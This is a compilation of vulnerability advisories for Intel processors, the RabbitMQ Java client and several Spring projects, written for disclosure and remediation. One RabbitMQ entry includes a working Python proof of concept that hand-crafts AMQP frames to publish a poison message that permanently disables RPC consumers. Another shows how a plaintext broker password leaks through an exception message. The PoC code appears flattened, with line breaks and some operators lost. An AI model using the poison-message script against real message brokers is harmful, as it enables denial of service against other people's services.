A flaw was found in hw. Incomplete cleanup of microarchitectural fill buffers on some Intel® Processors may allow an authenticated user to enable information disclosure via local access.

A flaw was found in hw. Incomplete cleanup in specific special register write operations for some Intel® Processors may allow an authenticated user to enable information disclosure via local access.

A flaw was found in hw. Incomplete cleanup of multi-core shared buffers for some Intel® Processors may allow an authenticated user to enable information disclosure via local access.

Summary

A single AMQP message with malformed UTF-8 in a shortstr property (for example correlation-id) can permanently disable a Java client RPC consumer.

The client decodes malformed bytes into U+FFFD replacement characters. Each of those re-encodes to 3 bytes, so a 255-byte property becomes 765 bytes (over the 255-byte shortstr limit). When the application echoes that value back, as the documented RPC pattern does, the encoder throws an unchecked IllegalArgumentException. That kills the consumer loop or tears down the channel.

The message is never acknowledged, so the broker requeues it and it disables the next consumer that picks it up. Recovery does not help; the service stays down until an operator manually purges the queue.

In short: the decoder produces values the encoder rejects, and any client permitted to use an RPC service can permanently destroy it for everyone.

Details

ValueReader.readShortstr decodes with new String(b, StandardCharsets.UTF8), which silently substitutes U+FFFD for malformed input:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueReader.java#L69-L75

ValueWriter.writeShortstr then rejects the result with an unchecked exception:

https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/impl/ValueWriter.java#L44-L56

So a value the library itself produced cannot be passed back to the library. Any shortstr property that arrives from the wire and is echoed back (correlation-id, reply-to used as a routing key, message-id, type, app-id) is affected.

Two consumption paths are impacted:

1. RpcServer.mainloop() catches only InterruptedException and ShutdownSignalException, so the exception escapes and the loop thread dies silently: https://github.com/rabbitmq/rabbitmq-java-client/blob/main/src/main/java/com/rabbitmq/client/RpcServer.java#L109-L129

2. The pattern in the official tutorial (basicConsume + DeliverCallback, echoing correlationId and publishing to replyTo) throws inside the callback, and the channel is closed by the exception handler. This is the more widely used of the two.

In both cases autoAck is false and the ack is never reached, so the message returns to the queue.

A related instance exists in the library's own recovery path: RecordedConsumer.recover() re-sends the broker-assigned consumer tag, which would hit the same throw if a malicious broker assigned a malformed tag.

PoC

Neither the Java client nor pika can reproduce this: the Java writer rejects oversized strings, and both encode str as well-formed UTF-8, which does not expand. The frames must be written by hand. A triager who tries with a stock client will not reproduce it.

1. Start a broker:

bash docker run -it --rm --name rabbitmq -p 5672:5672 rabbitmq

2. Publish a message whose correlation-id is 255 × 0xFF: python import socket, struct

def sstr(b): if isinstance(b, str): b = b.encode() return struct.pack(">B", len(b)) + b def lstr(b): return struct.pack(">I", len(b)) + b def fr(t, ch, p): return struct.pack(">BHI", t, ch, len(p)) + p + b"\xce" def m(c, mi, a=b""): return struct.pack(">HH", c, mi) + a

QUEUE = "rpc.poison" s = socket.createconnection(("127.0.0.1", 5672), timeout=10)

def rf(): h = b"" while len(h) < 7: h += s.recv(7 - len(h)) t, ch, sz = struct.unpack(">BHI", h) p = b"" while len(p) < sz: p += s.recv(sz - len(p)) s.recv(1); return t, ch, p def wait(c, mi): while True: t, ch, p = rf() if t == 1 and struct.unpack(">HH", p[:4]) == (c, mi): return p[4:]

s.sendall(b"AMQP\x00\x00\x09\x01"); wait(10, 10) s.sendall(fr(1, 0, m(10, 11, struct.pack(">I", 0) + sstr("PLAIN") + lstr(b"\x00guest\x00guest") + sstr("enUS")))) cm, fm, = struct.unpack(">HIH", wait(10, 30)[:8]) # must echo broker's limits s.sendall(fr(1, 0, m(10, 31, struct.pack(">H", cm) + struct.pack(">I", fm) + struct.pack(">H", 0)))) s.sendall(fr(1, 0, m(10, 40, sstr("/") + sstr("") + b"\x00"))); wait(10, 41) s.sendall(fr(1, 1, m(20, 10, sstr("")))); wait(20, 11) s.sendall(fr(1, 1, m(50, 10, struct.pack(">H", 0) + sstr(QUEUE) + b"\x02" + struct.pack(">I", 0)))); wait(50, 11)

s.sendall(fr(1, 1, m(60, 40, struct.pack(">H", 0) + sstr("") + sstr(QUEUE) + b"\x00"))) props = sstr(b"\xff" 255) + sstr("some-reply-queue") # correlation-id = bit 10, reply-to = bit 9 s.sendall(fr(2, 1, struct.pack(">HHQ", 60, 0, 6) + struct.pack(">H", (1 << 10) | (1 << 9)) + props)) s.sendall(fr(3, 1, b"poison"))

close cleanly, otherwise the broker may not commit the publish s.sendall(fr(1, 0, m(10, 50, struct.pack(">H", 200) + sstr("done") + struct.pack(">HH", 0, 0)))) wait(10, 51); s.close() print("published to", QUEUE)

3. Run a consumer using the tutorial pattern against rpc.poison:

java DeliverCallback cb = (tag, delivery) -> { AMQP.BasicProperties reply = new AMQP.BasicProperties.Builder() .correlationId(delivery.getProperties().getCorrelationId()).build(); channel.basicPublish("", delivery.getProperties().getReplyTo(), reply, "pong".getBytes("UTF-8")); channel.basicAck(delivery.getEnvelope().getDeliveryTag(), false); }; channel.basicConsume("rpc.poison", false, cb, t -> {});

Observed:

bash java.lang.IllegalArgumentException: Short string too long; utf-8 encoded length = 765, max = 255. at com.rabbitmq.client.impl.ContentHeaderPropertyWriter.writeShortstr(...) at com.rabbitmq.client.impl.ChannelN.basicPublish(ChannelN.java:753) channel open after: false queue depth after: 1

The same message run against RpcServer.mainloop() kills the loop thread instead, and re-kills it on every restart.

Control: 255 bytes of valid UTF-8 in the same field is handled normally and acked. The trigger is specifically the malformed input.

Negative results, for completeness: automatic connection recovery does not re-open the channel, so there is no crash loop and no CPU or memory exhaustion. The impact is loss of availability, not resource consumption.

Impact Denial of service against applications that implement AMQP RPC with this client, including the pattern shown in the official Java RPC tutorial.

Summary When property-file/Map-based ConnectionFactory setup fails while parsing the uri key, the library wraps the underlying exception with the raw connection string — including the plaintext username and password — baked verbatim into the new exception's message.

Details ConnectionFactoryConfigurator.load(ConnectionFactory, Map<String,String>, String) (src/main/java/com/rabbitmq/client/ConnectionFactoryConfigurator.java, lines 142-155):

String uri = properties.get(prefix + "uri"); if (uri != null) { try { cf.setUri(uri); } catch (URISyntaxException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } catch (NoSuchAlgorithmException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } catch (KeyManagementException e) { throw new IllegalArgumentException("Error while setting AMQP URI: " + uri, e); } }

uri is the full AMQP URI — amqp(s)://username:password@host:port/vhost — concatenated verbatim into the exception message on any of the three catch branches. No masking/redaction exists anywhere in this class or in ConnectionFactory.setUri(). This is the library's documented Spring-Boot/ops-config entry point (ConnectionFactory.load(...), available since 4.4.0), not obscure internal code.

RabbitMQ's own AMQP URI spec (rabbitmq.com/docs/uri-spec) explicitly warns the password "should avoid leaking... the full URI should not appear in exception messages or log records." A sibling method twenty lines away (ConnectionFactory.setUri(URI)) already avoids this exact mistake for a different malformed-URI case — this path wasn't caught by that same care.

Note: KeyManagementException is declared in the throws clause but not actually reachable via the current setUri(String) → setUri(URI) call chain — the two real, reachable leak surfaces are the URISyntaxException branch (trivial, deterministic, scheme-independent) and the NoSuchAlgorithmException branch (real but narrower — amqps:// only, requires a restricted/FIPS-style default TLS provider).

PoC Map<String, String> props = new HashMap<>(); props.put("uri", "amqp://svc-account:P@ssW0rd With Space!@broker.internal:5672/prod"); ConnectionFactory cf = new ConnectionFactory(); ConnectionFactoryConfigurator.load(cf, props, "");

Throws:

java.lang.IllegalArgumentException: Error while setting AMQP URI: amqp://svc-account:P@ssW0rd With Space!@broker.internal:5672/prod

A password containing a space is entirely ordinary under common corporate password policies, and java.net.URI rejects such input outright — this isn't a contrived edge case.

Impact Default Spring Boot startup-failure logging, an APM/error tracker, a CI job log, or an engineer pasting a stack trace into an internal or public ticket now holds the plaintext broker password, in a system typically far less access-controlled than wherever the credential is normally stored. Note the underlying URISyntaxException also carries the same string in its own message, chained as the cause of RabbitMQ's IllegalArgumentException — so removing RabbitMQ's own + uri concatenation alone would not fully close this; the raw secret-bearing string also shouldn't be handed to new URI() for error-reporting purposes at all.

Suggested fix: don't include the raw uri string in the wrapped exception's message — redact the userinfo component (or omit the URI entirely) before including it in any exception text.

A flaw was found in Spring Framework Applications. Applications that use STOMP over the WebSocket endpoint are vulnerable to a denial of service attack caused by an authenticated user.

A flaw was found in Spring Framework, versions 5.0.x prior to 5.0.6, versions 4.3.x prior to 4.3.17, and older unsupported versions allows applications to expose STOMP over WebSocket endpoints with a simple, in-memory STOMP broker through the spring-messaging module. A malicious user (or attacker) can craft a message to the broker that can lead to a regular expression, denial of service attack.

References: https://pivotal.io/security/cve-2018-1257

Pivotal Spring Framework is vulnerable to cross-site tracing, caused by a flaw in the HiddenHttpMethodFilter in Spring MVC. By persuading a victim to visit a specially-crafted Web site, an attacker could exploit this vulnerability to cause the victim's browser to invoke a TRACE request to return sensitive header information including cookies or authentication data from third-party domains.

In Spring Framework versions 5.2.0 - 5.2.8, 5.1.0 - 5.1.17, 5.0.0 - 5.0.18, 4.3.0 - 4.3.28, and older unsupported versions, the protections against RFD attacks from CVE-2015-5211 may be bypassed depending on the browser used through the use of a jsessionid path parameter.

Correlation IDs for replies in the RabbitTemplate.sendAndReceive() with the fixed reply queue are predictable due to internal simple counter.

Affected versions: Spring AMQP 4.0.0 through 4.0.3; 3.2.0 through 3.2.10; 3.1.0 through 3.1.15; 2.4.0 through 2.4.17.

Potential for logging sensitive data in Spring Cloud Stream. Spring Cloud Stream 5.0.0 - 5.0.2 Spring Cloud Stream 4.3.0 - 4.3.3 Spring Cloud Stream 4.2.0 - 4.2.6

Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.

Vulnerability in Spring Spring Security. Applications that explicitly configure One-Time Token login with JdbcOneTimeTokenService are vulnerable to a Time-of-check Time-of-use (TOCTOU) race condition. This issue affects Spring Security: from 6.4.0 through 6.4.15, from 6.5.0 through 6.5.9, from 7.0.0 through 7.0.4.

A WebFlux server application that processes multipart requests creates temp files for parts larger than 10 K. Under some circumstances, temp files may remain not deleted after the request is fully processed. This allows an attacker to consume available disk space.

Older, unsupported versions are also affected.

Spring MVC and WebFlux applications are vulnerable to Denial of Service attacks when resolving static resources.

More precisely, an application can be vulnerable when all the following are true:

the application is using Spring MVC or Spring WebFlux the application is serving static resources from the file system the application is running on a Windows platform

When all the conditions above are met, the attacker can send malicious requests that are slow to resolve and that can keep HTTP connections in use. This can cause a Denial of Service on the application.

Spring MVC and WebFlux applications are vulnerable to Path Traversal attacks when resolving static resources.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

Spring MVC and WebFlux applications are vulnerable to Information Disclosure attacks when resolving static resources.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

A Spring MVC or Spring WebFlux application which configures a mapping for "/" where the view name is not explicitly specified allows an attacker to craft a link resulting in a 302 redirect to an arbitrary external host via the redirect: prefix.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

Spring WebFlux applications are vulnerable to Denial of Service (DoS) attacks when processing multipart requests. Affected versions: Spring Framework 7.0.0 through 7.0.7, 6.2.0 through 6.2.18, 6.1.0 through 6.1.27, 5.3.0 through 5.3.48.

Spring MVC applications which accept user-supplied values in the cssClass, cssErrorClass, or cssStyle attributes of JSP form tags allow arbitrary HTML/JavaScript code injection, potentially resulting in a cross-site scripting (XSS) vulnerability.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

Due to incorrect host parsing, applications that rely on UriComponentsBuilder to parse and validate an externally provided URL string may be exposed to a server-side request forgery (SSRF) attack.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18.

A WebFlux application with a compromised subdomain (for example, compromised via cross-site scripting (XSS)) is vulnerable to an escalation attack exchanging a known session ID for that of an authenticated user.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

A vulnerability in Spring Expression Language (SpEL) evaluation logic allows for arbitrary zero-argument method invocation, even within restricted or read-only contexts, which may allow an attacker to invoke unintended application logic.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

Spring MVC and WebFlux applications are vulnerable to Multipart request smuggling attacks.

Affected versions: Spring Framework 7.0.0 through 7.0.7; 6.2.0 through 6.2.18; 6.1.0 through 6.1.27; 5.3.0 through 5.3.48.

Since Spring Security SAML decrypts SAML Responses as well as elements of SAML LogoutRequests and LogoutResponses without requiring a valid signature, attackers may be able to craft these SAML payloads and use the Service Provider as a decryption oracle.

Affected versions: Spring Security 5.7.0 through 5.7.23; 5.8.0 through 5.8.25; 6.3.0 through 6.3.16; 6.4.0 through 6.4.16; 6.5.0 through 6.5.10; 7.0.0 through 7.0.5.

Spring Security's CookieRequestCache and CookieServerRequestCache store the pre-authentication request URL in a browser cookie so that users can be redirected back to their intended destination after a successful login. In affected versions, the full absolute URL is stored in the cookie and is used without validation as the post-login redirect target.

Affected versions: Spring Security 5.7.0 through 5.7.23; 5.8.0 through 5.8.25; 6.3.0 through 6.3.16; 6.4.0 through 6.4.16; 6.5.0 through 6.5.10; 7.0.0 through 7.0.5.

Applications that configure their broker connection via RabbitConnectionFactoryBean.setUri("amqps://...") without also calling setUseSSL(true) get TLS encryption with no certificate validation and no hostname verification.

Affected versions: Spring AMQP 4.0.0 through 4.0.3; 3.2.0 through 3.2.10; 3.1.0 through 3.1.15; 2.4.0 through 2.4.17.

Spring Security Authorization Server's authorization endpoint performs insufficient validation of the requesturi parameter. An attacker can craft a malicious authorization request containing an invalid requesturi and an arbitrary, unvalidated redirecturi, which can lead to an Open Redirect vulnerability.

Affected versions: Spring Security 7.0.0 through 7.0.5. Spring Authorization Server 1.5.0 through 1.5.7.

Spring Boot's Mail auto-configuration does not enable hostname verification. Applications that set the relevant JavaMail property, such as spring.mail.properties.mail.smtp.ssl.checkserveridentity=true, are not affected.

Affected versions: Spring Boot 4.0.0 through 4.0.6; 3.5.0 through 3.5.14; 3.4.0 through 3.4.16.

Spring Boot's ArtemisEmbeddedConfigurationFactory uses a fixed, static path for the embedded Artemis message broker's data directory when no explicit path is configured. A local attacker on the same host can pre-create this predictable directory or place a symlink before the application starts.

Affected versions: Spring Boot 4.0.0 through 4.0.6; 3.5.0 through 3.5.14; 3.4.0 through 3.4.16; 3.3.0 through 3.3.19; 2.7.0 through 2.7.33.